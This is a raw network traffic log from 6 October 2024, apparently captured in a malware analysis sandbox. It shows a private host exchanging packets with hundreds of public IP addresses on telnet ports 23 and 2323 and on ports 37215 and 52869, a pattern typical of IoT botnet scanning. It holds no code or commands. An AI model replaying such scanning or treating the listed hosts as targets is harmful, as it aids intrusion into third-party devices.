Oct 6, 2024 20:00:45.495019913 CEST	52869	49160	156.195.179.211	192.168.2.15
Oct 6, 2024 20:00:45.495028973 CEST	52869	49160	41.81.84.213	192.168.2.15
Oct 6, 2024 20:00:45.495031118 CEST	49160	52869	192.168.2.15	197.87.60.42
Oct 6, 2024 20:00:45.495031118 CEST	49160	52869	192.168.2.15	197.105.30.43
Oct 6, 2024 20:00:45.495037079 CEST	52869	49160	197.203.163.214	192.168.2.15
Oct 6, 2024 20:00:45.495037079 CEST	49160	52869	192.168.2.15	41.23.163.48
Oct 6, 2024 20:00:45.495040894 CEST	49160	52869	192.168.2.15	156.122.238.205
Oct 6, 2024 20:00:45.495048046 CEST	52869	49160	197.202.254.227	192.168.2.15
Oct 6, 2024 20:00:45.495052099 CEST	49160	52869	192.168.2.15	41.81.84.213
Oct 6, 2024 20:00:45.495053053 CEST	49160	52869	192.168.2.15	156.195.179.211
Oct 6, 2024 20:00:45.495058060 CEST	52869	49160	41.94.222.255	192.168.2.15
Oct 6, 2024 20:00:45.495068073 CEST	52869	49160	197.128.189.28	192.168.2.15
Oct 6, 2024 20:00:45.495075941 CEST	52869	49160	156.145.113.91	192.168.2.15
Oct 6, 2024 20:00:45.495078087 CEST	49160	52869	192.168.2.15	197.203.163.214
Oct 6, 2024 20:00:45.495078087 CEST	49160	52869	192.168.2.15	197.202.254.227
Oct 6, 2024 20:00:45.495085955 CEST	49160	52869	192.168.2.15	41.94.222.255
Oct 6, 2024 20:00:45.495086908 CEST	52869	49160	197.245.187.85	192.168.2.15
Oct 6, 2024 20:00:45.495096922 CEST	52869	49160	156.76.246.247	192.168.2.15
Oct 6, 2024 20:00:45.495098114 CEST	49160	52869	192.168.2.15	197.128.189.28
Oct 6, 2024 20:00:45.495104074 CEST	49160	52869	192.168.2.15	156.145.113.91
Oct 6, 2024 20:00:45.495105982 CEST	52869	49160	41.156.216.75	192.168.2.15
Oct 6, 2024 20:00:45.495109081 CEST	44004	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:45.495111942 CEST	49160	52869	192.168.2.15	197.245.187.85
Oct 6, 2024 20:00:45.495116949 CEST	52869	49160	41.165.53.98	192.168.2.15
Oct 6, 2024 20:00:45.495131016 CEST	49160	52869	192.168.2.15	156.76.246.247
Oct 6, 2024 20:00:45.495132923 CEST	49160	52869	192.168.2.15	41.156.216.75
Oct 6, 2024 20:00:45.495145082 CEST	49160	52869	192.168.2.15	41.165.53.98
Oct 6, 2024 20:00:45.495449066 CEST	52869	49160	41.251.114.222	192.168.2.15
Oct 6, 2024 20:00:45.495460033 CEST	52869	49160	156.206.181.99	192.168.2.15
Oct 6, 2024 20:00:45.495467901 CEST	52869	49160	156.97.108.237	192.168.2.15
Oct 6, 2024 20:00:45.495476007 CEST	52869	49160	41.229.200.52	192.168.2.15
Oct 6, 2024 20:00:45.495482922 CEST	49160	52869	192.168.2.15	41.251.114.222
Oct 6, 2024 20:00:45.495485067 CEST	52869	49160	41.160.229.54	192.168.2.15
Oct 6, 2024 20:00:45.495495081 CEST	52869	49160	41.84.189.145	192.168.2.15
Oct 6, 2024 20:00:45.495501995 CEST	49160	52869	192.168.2.15	156.206.181.99
Oct 6, 2024 20:00:45.495502949 CEST	37215	47958	156.147.156.210	192.168.2.15
Oct 6, 2024 20:00:45.495512009 CEST	52869	49160	156.230.166.202	192.168.2.15
Oct 6, 2024 20:00:45.495513916 CEST	49160	52869	192.168.2.15	156.97.108.237
Oct 6, 2024 20:00:45.495513916 CEST	49160	52869	192.168.2.15	41.229.200.52
Oct 6, 2024 20:00:45.495515108 CEST	49160	52869	192.168.2.15	41.160.229.54
Oct 6, 2024 20:00:45.495521069 CEST	52869	49160	156.170.2.188	192.168.2.15
Oct 6, 2024 20:00:45.495528936 CEST	52869	49160	41.17.141.156	192.168.2.15
Oct 6, 2024 20:00:45.495534897 CEST	49160	52869	192.168.2.15	41.84.189.145
Oct 6, 2024 20:00:45.495544910 CEST	52869	49160	156.15.76.233	192.168.2.15
Oct 6, 2024 20:00:45.495546103 CEST	47958	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:45.495552063 CEST	49160	52869	192.168.2.15	156.230.166.202
Oct 6, 2024 20:00:45.495554924 CEST	52869	49160	41.187.157.191	192.168.2.15
Oct 6, 2024 20:00:45.495558977 CEST	49160	52869	192.168.2.15	156.170.2.188
Oct 6, 2024 20:00:45.495559931 CEST	49160	52869	192.168.2.15	41.17.141.156
Oct 6, 2024 20:00:45.495567083 CEST	52869	49160	197.115.215.116	192.168.2.15
Oct 6, 2024 20:00:45.495574951 CEST	52869	49160	197.77.235.31	192.168.2.15
Oct 6, 2024 20:00:45.495578051 CEST	49160	52869	192.168.2.15	156.15.76.233
Oct 6, 2024 20:00:45.495584965 CEST	52869	49160	197.233.184.126	192.168.2.15
Oct 6, 2024 20:00:45.495594025 CEST	52869	49160	197.105.5.94	192.168.2.15
Oct 6, 2024 20:00:45.495594978 CEST	49160	52869	192.168.2.15	197.77.235.31
Oct 6, 2024 20:00:45.495596886 CEST	49160	52869	192.168.2.15	41.187.157.191
Oct 6, 2024 20:00:45.495600939 CEST	49160	52869	192.168.2.15	197.115.215.116
Oct 6, 2024 20:00:45.495601892 CEST	52869	49160	156.157.225.72	192.168.2.15
Oct 6, 2024 20:00:45.495610952 CEST	52869	49160	41.173.204.207	192.168.2.15
Oct 6, 2024 20:00:45.495620012 CEST	52869	49160	41.41.69.31	192.168.2.15
Oct 6, 2024 20:00:45.495628119 CEST	49160	52869	192.168.2.15	197.233.184.126
Oct 6, 2024 20:00:45.495635986 CEST	49160	52869	192.168.2.15	197.105.5.94
Oct 6, 2024 20:00:45.495641947 CEST	49160	52869	192.168.2.15	41.173.204.207
Oct 6, 2024 20:00:45.495644093 CEST	49160	52869	192.168.2.15	156.157.225.72
Oct 6, 2024 20:00:45.495644093 CEST	49160	52869	192.168.2.15	41.41.69.31
Oct 6, 2024 20:00:45.495691061 CEST	52869	49160	41.78.159.128	192.168.2.15
Oct 6, 2024 20:00:45.495701075 CEST	52869	49160	197.11.197.199	192.168.2.15
Oct 6, 2024 20:00:45.495708942 CEST	52869	49160	41.155.158.10	192.168.2.15
Oct 6, 2024 20:00:45.495712996 CEST	52869	49160	156.76.96.32	192.168.2.15
Oct 6, 2024 20:00:45.495732069 CEST	49160	52869	192.168.2.15	41.78.159.128
Oct 6, 2024 20:00:45.495732069 CEST	49160	52869	192.168.2.15	41.155.158.10
Oct 6, 2024 20:00:45.495738983 CEST	49160	52869	192.168.2.15	197.11.197.199
Oct 6, 2024 20:00:45.495758057 CEST	49160	52869	192.168.2.15	156.76.96.32
Oct 6, 2024 20:00:45.496316910 CEST	42670	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:45.496390104 CEST	37215	43324	41.50.215.105	192.168.2.15
Oct 6, 2024 20:00:45.496400118 CEST	52869	39612	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:45.496407986 CEST	23	50952	114.241.248.25	192.168.2.15
Oct 6, 2024 20:00:45.496417046 CEST	23	50952	130.5.88.102	192.168.2.15
Oct 6, 2024 20:00:45.496445894 CEST	50952	23	192.168.2.15	130.5.88.102
Oct 6, 2024 20:00:45.496448040 CEST	50952	23	192.168.2.15	114.241.248.25
Oct 6, 2024 20:00:45.496505022 CEST	39612	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:45.496511936 CEST	43324	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:45.497014046 CEST	2323	50952	57.106.2.31	192.168.2.15
Oct 6, 2024 20:00:45.497023106 CEST	23	50952	198.200.174.120	192.168.2.15
Oct 6, 2024 20:00:45.497030973 CEST	23	50952	63.66.190.161	192.168.2.15
Oct 6, 2024 20:00:45.497040033 CEST	23	50952	122.192.181.65	192.168.2.15
Oct 6, 2024 20:00:45.497049093 CEST	23	50952	117.2.93.224	192.168.2.15
Oct 6, 2024 20:00:45.497059107 CEST	23	50952	133.91.47.51	192.168.2.15
Oct 6, 2024 20:00:45.497060061 CEST	50952	23	192.168.2.15	198.200.174.120
Oct 6, 2024 20:00:45.497059107 CEST	50952	2323	192.168.2.15	57.106.2.31
Oct 6, 2024 20:00:45.497060061 CEST	50952	23	192.168.2.15	63.66.190.161
Oct 6, 2024 20:00:45.497066975 CEST	23	50952	102.193.153.101	192.168.2.15
Oct 6, 2024 20:00:45.497072935 CEST	50952	23	192.168.2.15	122.192.181.65
Oct 6, 2024 20:00:45.497096062 CEST	50952	23	192.168.2.15	133.91.47.51
Oct 6, 2024 20:00:45.497107983 CEST	50952	23	192.168.2.15	117.2.93.224
Oct 6, 2024 20:00:45.497107983 CEST	50952	23	192.168.2.15	102.193.153.101
Oct 6, 2024 20:00:45.497139931 CEST	23	50952	155.200.231.27	192.168.2.15
Oct 6, 2024 20:00:45.497148991 CEST	23	50952	193.255.24.44	192.168.2.15
Oct 6, 2024 20:00:45.497158051 CEST	2323	50952	138.255.125.97	192.168.2.15
Oct 6, 2024 20:00:45.497165918 CEST	23	50952	102.158.214.119	192.168.2.15
Oct 6, 2024 20:00:45.497173071 CEST	50952	23	192.168.2.15	155.200.231.27
Oct 6, 2024 20:00:45.497174978 CEST	23	50952	106.115.57.244	192.168.2.15
Oct 6, 2024 20:00:45.497180939 CEST	50952	2323	192.168.2.15	138.255.125.97
Oct 6, 2024 20:00:45.497180939 CEST	50952	23	192.168.2.15	193.255.24.44
Oct 6, 2024 20:00:45.497184992 CEST	23	50952	198.177.187.65	192.168.2.15
Oct 6, 2024 20:00:45.497200966 CEST	50952	23	192.168.2.15	102.158.214.119
Oct 6, 2024 20:00:45.497203112 CEST	50952	23	192.168.2.15	106.115.57.244
Oct 6, 2024 20:00:45.497206926 CEST	50952	23	192.168.2.15	198.177.187.65
Oct 6, 2024 20:00:45.497282982 CEST	23	50952	174.187.32.232	192.168.2.15
Oct 6, 2024 20:00:45.497293949 CEST	23	50952	125.213.194.146	192.168.2.15
Oct 6, 2024 20:00:45.497302055 CEST	23	50952	181.183.165.182	192.168.2.15
Oct 6, 2024 20:00:45.497311115 CEST	23	50952	82.186.130.2	192.168.2.15
Oct 6, 2024 20:00:45.497318029 CEST	23	50952	82.43.75.154	192.168.2.15
Oct 6, 2024 20:00:45.497324944 CEST	50952	23	192.168.2.15	174.187.32.232
Oct 6, 2024 20:00:45.497324944 CEST	50952	23	192.168.2.15	125.213.194.146
Oct 6, 2024 20:00:45.497325897 CEST	50952	23	192.168.2.15	181.183.165.182
Oct 6, 2024 20:00:45.497328043 CEST	23	50952	31.227.175.144	192.168.2.15
Oct 6, 2024 20:00:45.497335911 CEST	50952	23	192.168.2.15	82.186.130.2
Oct 6, 2024 20:00:45.497338057 CEST	2323	50952	102.135.214.102	192.168.2.15
Oct 6, 2024 20:00:45.497347116 CEST	23	50952	89.29.93.10	192.168.2.15
Oct 6, 2024 20:00:45.497354984 CEST	50952	23	192.168.2.15	31.227.175.144
Oct 6, 2024 20:00:45.497356892 CEST	50952	23	192.168.2.15	82.43.75.154
Oct 6, 2024 20:00:45.497380018 CEST	50952	23	192.168.2.15	89.29.93.10
Oct 6, 2024 20:00:45.497381926 CEST	50952	2323	192.168.2.15	102.135.214.102
Oct 6, 2024 20:00:45.497587919 CEST	32888	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:45.497698069 CEST	58748	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:45.497735023 CEST	23	50952	184.58.233.244	192.168.2.15
Oct 6, 2024 20:00:45.497782946 CEST	50952	23	192.168.2.15	184.58.233.244
Oct 6, 2024 20:00:45.497878075 CEST	23	50952	57.219.205.218	192.168.2.15
Oct 6, 2024 20:00:45.497888088 CEST	23	50952	35.12.235.127	192.168.2.15
Oct 6, 2024 20:00:45.497896910 CEST	23	50952	40.85.20.154	192.168.2.15
Oct 6, 2024 20:00:45.497905016 CEST	23	50952	125.45.129.211	192.168.2.15
Oct 6, 2024 20:00:45.497915030 CEST	2323	50952	63.10.15.98	192.168.2.15
Oct 6, 2024 20:00:45.497922897 CEST	23	50952	219.31.239.57	192.168.2.15
Oct 6, 2024 20:00:45.497925043 CEST	50952	23	192.168.2.15	35.12.235.127
Oct 6, 2024 20:00:45.497925043 CEST	50952	23	192.168.2.15	40.85.20.154
Oct 6, 2024 20:00:45.497931957 CEST	23	50952	125.116.166.223	192.168.2.15
Oct 6, 2024 20:00:45.497941017 CEST	50952	23	192.168.2.15	57.219.205.218
Oct 6, 2024 20:00:45.497942924 CEST	50952	2323	192.168.2.15	63.10.15.98
Oct 6, 2024 20:00:45.497944117 CEST	50952	23	192.168.2.15	125.45.129.211
Oct 6, 2024 20:00:45.497961998 CEST	50952	23	192.168.2.15	219.31.239.57
Oct 6, 2024 20:00:45.497968912 CEST	50952	23	192.168.2.15	125.116.166.223
Oct 6, 2024 20:00:45.498019934 CEST	23	50952	107.195.97.44	192.168.2.15
Oct 6, 2024 20:00:45.498029947 CEST	23	50952	72.69.84.58	192.168.2.15
Oct 6, 2024 20:00:45.498039007 CEST	23	50952	209.45.208.194	192.168.2.15
Oct 6, 2024 20:00:45.498047113 CEST	23	50952	213.143.71.98	192.168.2.15
Oct 6, 2024 20:00:45.498056889 CEST	23	50952	53.235.237.253	192.168.2.15
Oct 6, 2024 20:00:45.498065948 CEST	23	50952	112.143.37.50	192.168.2.15
Oct 6, 2024 20:00:45.498071909 CEST	50952	23	192.168.2.15	72.69.84.58
Oct 6, 2024 20:00:45.498074055 CEST	50952	23	192.168.2.15	209.45.208.194
Oct 6, 2024 20:00:45.498074055 CEST	50952	23	192.168.2.15	213.143.71.98
Oct 6, 2024 20:00:45.498097897 CEST	50952	23	192.168.2.15	107.195.97.44
Oct 6, 2024 20:00:45.498097897 CEST	50952	23	192.168.2.15	53.235.237.253
Oct 6, 2024 20:00:45.498097897 CEST	50952	23	192.168.2.15	112.143.37.50
Oct 6, 2024 20:00:45.498168945 CEST	23	50952	2.221.183.88	192.168.2.15
Oct 6, 2024 20:00:45.498207092 CEST	50952	23	192.168.2.15	2.221.183.88
Oct 6, 2024 20:00:45.498320103 CEST	23	50952	145.104.56.71	192.168.2.15
Oct 6, 2024 20:00:45.498331070 CEST	23	50952	47.174.5.217	192.168.2.15
Oct 6, 2024 20:00:45.498339891 CEST	23	50952	163.159.69.128	192.168.2.15
Oct 6, 2024 20:00:45.498348951 CEST	2323	50952	112.239.116.245	192.168.2.15
Oct 6, 2024 20:00:45.498358965 CEST	50952	23	192.168.2.15	145.104.56.71
Oct 6, 2024 20:00:45.498368979 CEST	50952	23	192.168.2.15	163.159.69.128
Oct 6, 2024 20:00:45.498373032 CEST	50952	23	192.168.2.15	47.174.5.217
Oct 6, 2024 20:00:45.498419046 CEST	50952	2323	192.168.2.15	112.239.116.245
Oct 6, 2024 20:00:45.498450041 CEST	23	50952	43.73.219.141	192.168.2.15
Oct 6, 2024 20:00:45.498460054 CEST	23	50952	78.119.151.76	192.168.2.15
Oct 6, 2024 20:00:45.498469114 CEST	23	50952	77.1.235.192	192.168.2.15
Oct 6, 2024 20:00:45.498473883 CEST	23	50952	153.72.203.186	192.168.2.15
Oct 6, 2024 20:00:45.498481989 CEST	23	50952	194.153.220.108	192.168.2.15
Oct 6, 2024 20:00:45.498486996 CEST	50952	23	192.168.2.15	43.73.219.141
Oct 6, 2024 20:00:45.498491049 CEST	23	50952	19.117.245.12	192.168.2.15
Oct 6, 2024 20:00:45.498501062 CEST	23	50952	41.179.101.251	192.168.2.15
Oct 6, 2024 20:00:45.498502016 CEST	50952	23	192.168.2.15	78.119.151.76
Oct 6, 2024 20:00:45.498502970 CEST	50952	23	192.168.2.15	77.1.235.192
Oct 6, 2024 20:00:45.498502970 CEST	50952	23	192.168.2.15	153.72.203.186
Oct 6, 2024 20:00:45.498512983 CEST	23	50952	5.212.2.128	192.168.2.15
Oct 6, 2024 20:00:45.498521090 CEST	23	50952	88.25.221.101	192.168.2.15
Oct 6, 2024 20:00:45.498529911 CEST	50952	23	192.168.2.15	194.153.220.108
Oct 6, 2024 20:00:45.498529911 CEST	2323	50952	62.189.123.145	192.168.2.15
Oct 6, 2024 20:00:45.498529911 CEST	50952	23	192.168.2.15	19.117.245.12
Oct 6, 2024 20:00:45.498533964 CEST	50952	23	192.168.2.15	41.179.101.251
Oct 6, 2024 20:00:45.498533964 CEST	50952	23	192.168.2.15	5.212.2.128
Oct 6, 2024 20:00:45.498539925 CEST	23	50952	187.0.52.71	192.168.2.15
Oct 6, 2024 20:00:45.498550892 CEST	23	50952	134.245.161.246	192.168.2.15
Oct 6, 2024 20:00:45.498558998 CEST	23	50952	106.144.46.156	192.168.2.15
Oct 6, 2024 20:00:45.498558044 CEST	50952	23	192.168.2.15	88.25.221.101
Oct 6, 2024 20:00:45.498562098 CEST	50952	2323	192.168.2.15	62.189.123.145
Oct 6, 2024 20:00:45.498567104 CEST	23	50952	17.13.6.28	192.168.2.15
Oct 6, 2024 20:00:45.498583078 CEST	50952	23	192.168.2.15	187.0.52.71
Oct 6, 2024 20:00:45.498584032 CEST	50952	23	192.168.2.15	106.144.46.156
Oct 6, 2024 20:00:45.498584032 CEST	50952	23	192.168.2.15	134.245.161.246
Oct 6, 2024 20:00:45.498611927 CEST	50952	23	192.168.2.15	17.13.6.28
Oct 6, 2024 20:00:45.498621941 CEST	23	50952	84.3.38.134	192.168.2.15
Oct 6, 2024 20:00:45.498630047 CEST	23	50952	126.136.169.248	192.168.2.15
Oct 6, 2024 20:00:45.498639107 CEST	23	50952	113.186.36.221	192.168.2.15
Oct 6, 2024 20:00:45.498648882 CEST	2323	50952	204.87.170.74	192.168.2.15
Oct 6, 2024 20:00:45.498655081 CEST	50952	23	192.168.2.15	84.3.38.134
Oct 6, 2024 20:00:45.498661041 CEST	23	50952	4.228.90.20	192.168.2.15
Oct 6, 2024 20:00:45.498661041 CEST	50952	23	192.168.2.15	126.136.169.248
Oct 6, 2024 20:00:45.498671055 CEST	23	50952	69.116.1.164	192.168.2.15
Oct 6, 2024 20:00:45.498675108 CEST	50952	23	192.168.2.15	113.186.36.221
Oct 6, 2024 20:00:45.498678923 CEST	23	50952	14.250.14.240	192.168.2.15
Oct 6, 2024 20:00:45.498687983 CEST	23	50952	67.154.22.103	192.168.2.15
Oct 6, 2024 20:00:45.498697042 CEST	50952	23	192.168.2.15	4.228.90.20
Oct 6, 2024 20:00:45.498697996 CEST	23	50952	72.103.50.195	192.168.2.15
Oct 6, 2024 20:00:45.498703957 CEST	50952	23	192.168.2.15	69.116.1.164
Oct 6, 2024 20:00:45.498706102 CEST	50952	2323	192.168.2.15	204.87.170.74
Oct 6, 2024 20:00:45.498707056 CEST	23	50952	93.187.240.136	192.168.2.15
Oct 6, 2024 20:00:45.498720884 CEST	50952	23	192.168.2.15	67.154.22.103
Oct 6, 2024 20:00:45.498725891 CEST	50952	23	192.168.2.15	14.250.14.240
Oct 6, 2024 20:00:45.498738050 CEST	50952	23	192.168.2.15	93.187.240.136
Oct 6, 2024 20:00:45.498739958 CEST	50952	23	192.168.2.15	72.103.50.195
Oct 6, 2024 20:00:45.498876095 CEST	23	50952	79.245.103.170	192.168.2.15
Oct 6, 2024 20:00:45.498887062 CEST	23	50952	223.244.40.192	192.168.2.15
Oct 6, 2024 20:00:45.498893976 CEST	23	50952	160.67.125.249	192.168.2.15
Oct 6, 2024 20:00:45.498903036 CEST	23	50952	97.200.197.14	192.168.2.15
Oct 6, 2024 20:00:45.498912096 CEST	2323	50952	152.104.240.122	192.168.2.15
Oct 6, 2024 20:00:45.498919964 CEST	23	50952	161.172.254.49	192.168.2.15
Oct 6, 2024 20:00:45.498920918 CEST	50952	23	192.168.2.15	79.245.103.170
Oct 6, 2024 20:00:45.498924017 CEST	50952	23	192.168.2.15	223.244.40.192
Oct 6, 2024 20:00:45.498925924 CEST	50952	23	192.168.2.15	160.67.125.249
Oct 6, 2024 20:00:45.498929977 CEST	50952	23	192.168.2.15	97.200.197.14
Oct 6, 2024 20:00:45.498930931 CEST	23	50952	93.234.3.198	192.168.2.15
Oct 6, 2024 20:00:45.498944044 CEST	23	50952	117.36.30.108	192.168.2.15
Oct 6, 2024 20:00:45.498944998 CEST	50952	2323	192.168.2.15	152.104.240.122
Oct 6, 2024 20:00:45.498950958 CEST	50952	23	192.168.2.15	161.172.254.49
Oct 6, 2024 20:00:45.498954058 CEST	23	50952	85.175.50.224	192.168.2.15
Oct 6, 2024 20:00:45.498967886 CEST	50952	23	192.168.2.15	117.36.30.108
Oct 6, 2024 20:00:45.498980045 CEST	50952	23	192.168.2.15	93.234.3.198
Oct 6, 2024 20:00:45.498980045 CEST	50952	23	192.168.2.15	85.175.50.224
Oct 6, 2024 20:00:45.498984098 CEST	23	50952	70.37.14.123	192.168.2.15
Oct 6, 2024 20:00:45.498992920 CEST	23	50952	159.132.32.234	192.168.2.15
Oct 6, 2024 20:00:45.499001026 CEST	23	50952	165.212.176.70	192.168.2.15
Oct 6, 2024 20:00:45.499008894 CEST	23	50952	173.120.154.187	192.168.2.15
Oct 6, 2024 20:00:45.499017954 CEST	23	50952	154.175.180.142	192.168.2.15
Oct 6, 2024 20:00:45.499023914 CEST	50952	23	192.168.2.15	70.37.14.123
Oct 6, 2024 20:00:45.499023914 CEST	50952	23	192.168.2.15	159.132.32.234
Oct 6, 2024 20:00:45.499027967 CEST	2323	50952	115.215.113.51	192.168.2.15
Oct 6, 2024 20:00:45.499032974 CEST	50952	23	192.168.2.15	165.212.176.70
Oct 6, 2024 20:00:45.499032974 CEST	50952	23	192.168.2.15	173.120.154.187
Oct 6, 2024 20:00:45.499037981 CEST	37215	58404	197.41.142.52	192.168.2.15
Oct 6, 2024 20:00:45.499042988 CEST	48774	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:45.499047995 CEST	23	50952	218.78.51.116	192.168.2.15
Oct 6, 2024 20:00:45.499057055 CEST	23	50952	187.69.129.145	192.168.2.15
Oct 6, 2024 20:00:45.499061108 CEST	50952	23	192.168.2.15	154.175.180.142
Oct 6, 2024 20:00:45.499064922 CEST	23	50952	212.54.110.126	192.168.2.15
Oct 6, 2024 20:00:45.499074936 CEST	50952	2323	192.168.2.15	115.215.113.51
Oct 6, 2024 20:00:45.499078035 CEST	50952	23	192.168.2.15	218.78.51.116
Oct 6, 2024 20:00:45.499078989 CEST	58404	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:45.499088049 CEST	50952	23	192.168.2.15	187.69.129.145
Oct 6, 2024 20:00:45.499099016 CEST	50952	23	192.168.2.15	212.54.110.126
Oct 6, 2024 20:00:45.499139071 CEST	23	50952	190.90.36.26	192.168.2.15
Oct 6, 2024 20:00:45.499149084 CEST	23	50952	84.215.62.33	192.168.2.15
Oct 6, 2024 20:00:45.499157906 CEST	23	50952	85.209.109.97	192.168.2.15
Oct 6, 2024 20:00:45.499167919 CEST	23	50952	211.101.193.227	192.168.2.15
Oct 6, 2024 20:00:45.499172926 CEST	50952	23	192.168.2.15	190.90.36.26
Oct 6, 2024 20:00:45.499186039 CEST	50952	23	192.168.2.15	84.215.62.33
Oct 6, 2024 20:00:45.499186039 CEST	50952	23	192.168.2.15	85.209.109.97
Oct 6, 2024 20:00:45.499214888 CEST	50952	23	192.168.2.15	211.101.193.227
Oct 6, 2024 20:00:45.499454021 CEST	23	50952	13.226.203.216	192.168.2.15
Oct 6, 2024 20:00:45.499463081 CEST	23	50952	88.41.215.43	192.168.2.15
Oct 6, 2024 20:00:45.499471903 CEST	2323	50952	77.140.203.209	192.168.2.15
Oct 6, 2024 20:00:45.499495029 CEST	50952	23	192.168.2.15	13.226.203.216
Oct 6, 2024 20:00:45.499495029 CEST	50952	23	192.168.2.15	88.41.215.43
Oct 6, 2024 20:00:45.499519110 CEST	23	50952	27.233.45.117	192.168.2.15
Oct 6, 2024 20:00:45.499535084 CEST	23	50952	176.137.152.15	192.168.2.15
Oct 6, 2024 20:00:45.499541998 CEST	23	50952	94.26.60.230	192.168.2.15
Oct 6, 2024 20:00:45.499550104 CEST	50952	2323	192.168.2.15	77.140.203.209
Oct 6, 2024 20:00:45.499552011 CEST	23	50952	178.93.180.171	192.168.2.15
Oct 6, 2024 20:00:45.499557018 CEST	50952	23	192.168.2.15	27.233.45.117
Oct 6, 2024 20:00:45.499561071 CEST	23	50952	190.21.154.169	192.168.2.15
Oct 6, 2024 20:00:45.499567986 CEST	50952	23	192.168.2.15	176.137.152.15
Oct 6, 2024 20:00:45.499571085 CEST	23	50952	126.79.52.88	192.168.2.15
Oct 6, 2024 20:00:45.499576092 CEST	50952	23	192.168.2.15	178.93.180.171
Oct 6, 2024 20:00:45.499578953 CEST	23	50952	75.87.38.136	192.168.2.15
Oct 6, 2024 20:00:45.499594927 CEST	23	50952	2.144.58.228	192.168.2.15
Oct 6, 2024 20:00:45.499604940 CEST	2323	50952	141.174.29.213	192.168.2.15
Oct 6, 2024 20:00:45.499608040 CEST	50952	23	192.168.2.15	126.79.52.88
Oct 6, 2024 20:00:45.499614000 CEST	50952	23	192.168.2.15	75.87.38.136
Oct 6, 2024 20:00:45.499614000 CEST	23	50952	218.84.194.161	192.168.2.15
Oct 6, 2024 20:00:45.499625921 CEST	23	50952	94.58.235.97	192.168.2.15
Oct 6, 2024 20:00:45.499634027 CEST	23	50952	222.14.59.87	192.168.2.15
Oct 6, 2024 20:00:45.499634981 CEST	50952	23	192.168.2.15	2.144.58.228
Oct 6, 2024 20:00:45.499639988 CEST	50952	23	192.168.2.15	218.84.194.161
Oct 6, 2024 20:00:45.499643087 CEST	23	50952	220.227.122.137	192.168.2.15
Oct 6, 2024 20:00:45.499651909 CEST	23	50952	119.67.69.250	192.168.2.15
Oct 6, 2024 20:00:45.499656916 CEST	50952	23	192.168.2.15	94.58.235.97
Oct 6, 2024 20:00:45.499658108 CEST	50952	23	192.168.2.15	222.14.59.87
Oct 6, 2024 20:00:45.499665022 CEST	50952	23	192.168.2.15	190.21.154.169
Oct 6, 2024 20:00:45.499665976 CEST	50952	23	192.168.2.15	94.26.60.230
Oct 6, 2024 20:00:45.499675989 CEST	23	50952	152.147.5.249	192.168.2.15
Oct 6, 2024 20:00:45.499676943 CEST	50952	23	192.168.2.15	220.227.122.137
Oct 6, 2024 20:00:45.499679089 CEST	50952	23	192.168.2.15	119.67.69.250
Oct 6, 2024 20:00:45.499713898 CEST	50952	23	192.168.2.15	152.147.5.249
Oct 6, 2024 20:00:45.499713898 CEST	50952	2323	192.168.2.15	141.174.29.213
Oct 6, 2024 20:00:45.500036001 CEST	23	50952	190.46.172.101	192.168.2.15
Oct 6, 2024 20:00:45.500046968 CEST	23	50952	172.232.14.203	192.168.2.15
Oct 6, 2024 20:00:45.500056028 CEST	23	50952	103.170.97.191	192.168.2.15
Oct 6, 2024 20:00:45.500065088 CEST	23	50952	93.126.214.12	192.168.2.15
Oct 6, 2024 20:00:45.500082970 CEST	50952	23	192.168.2.15	172.232.14.203
Oct 6, 2024 20:00:45.500097990 CEST	50952	23	192.168.2.15	93.126.214.12
Oct 6, 2024 20:00:45.500106096 CEST	50952	23	192.168.2.15	190.46.172.101
Oct 6, 2024 20:00:45.500107050 CEST	50952	23	192.168.2.15	103.170.97.191
Oct 6, 2024 20:00:45.500145912 CEST	51892	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:45.500180960 CEST	2323	50952	36.128.103.224	192.168.2.15
Oct 6, 2024 20:00:45.500191927 CEST	23	50952	105.28.59.226	192.168.2.15
Oct 6, 2024 20:00:45.500200987 CEST	23	50952	89.38.89.85	192.168.2.15
Oct 6, 2024 20:00:45.500210047 CEST	23	50952	125.60.107.55	192.168.2.15
Oct 6, 2024 20:00:45.500217915 CEST	23	50952	13.62.102.61	192.168.2.15
Oct 6, 2024 20:00:45.500226974 CEST	23	50952	148.201.243.78	192.168.2.15
Oct 6, 2024 20:00:45.500227928 CEST	50952	2323	192.168.2.15	36.128.103.224
Oct 6, 2024 20:00:45.500235081 CEST	50952	23	192.168.2.15	105.28.59.226
Oct 6, 2024 20:00:45.500236988 CEST	23	50952	123.85.7.63	192.168.2.15
Oct 6, 2024 20:00:45.500238895 CEST	50952	23	192.168.2.15	125.60.107.55
Oct 6, 2024 20:00:45.500246048 CEST	23	50952	90.244.22.106	192.168.2.15
Oct 6, 2024 20:00:45.500247955 CEST	50952	23	192.168.2.15	89.38.89.85
Oct 6, 2024 20:00:45.500251055 CEST	50952	23	192.168.2.15	148.201.243.78
Oct 6, 2024 20:00:45.500251055 CEST	50952	23	192.168.2.15	13.62.102.61
Oct 6, 2024 20:00:45.500255108 CEST	23	50952	72.170.78.143	192.168.2.15
Oct 6, 2024 20:00:45.500264883 CEST	23	50952	179.201.223.125	192.168.2.15
Oct 6, 2024 20:00:45.500272036 CEST	44782	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:45.500273943 CEST	23	50952	79.213.119.81	192.168.2.15
Oct 6, 2024 20:00:45.500276089 CEST	50952	23	192.168.2.15	123.85.7.63
Oct 6, 2024 20:00:45.500278950 CEST	50952	23	192.168.2.15	90.244.22.106
Oct 6, 2024 20:00:45.500281096 CEST	50952	23	192.168.2.15	72.170.78.143
Oct 6, 2024 20:00:45.500281096 CEST	50952	23	192.168.2.15	179.201.223.125
Oct 6, 2024 20:00:45.500287056 CEST	23	50952	133.252.90.123	192.168.2.15
Oct 6, 2024 20:00:45.500294924 CEST	23	50952	204.164.30.182	192.168.2.15
Oct 6, 2024 20:00:45.500303984 CEST	23	50952	84.59.210.182	192.168.2.15
Oct 6, 2024 20:00:45.500312090 CEST	23	50952	73.100.204.2	192.168.2.15
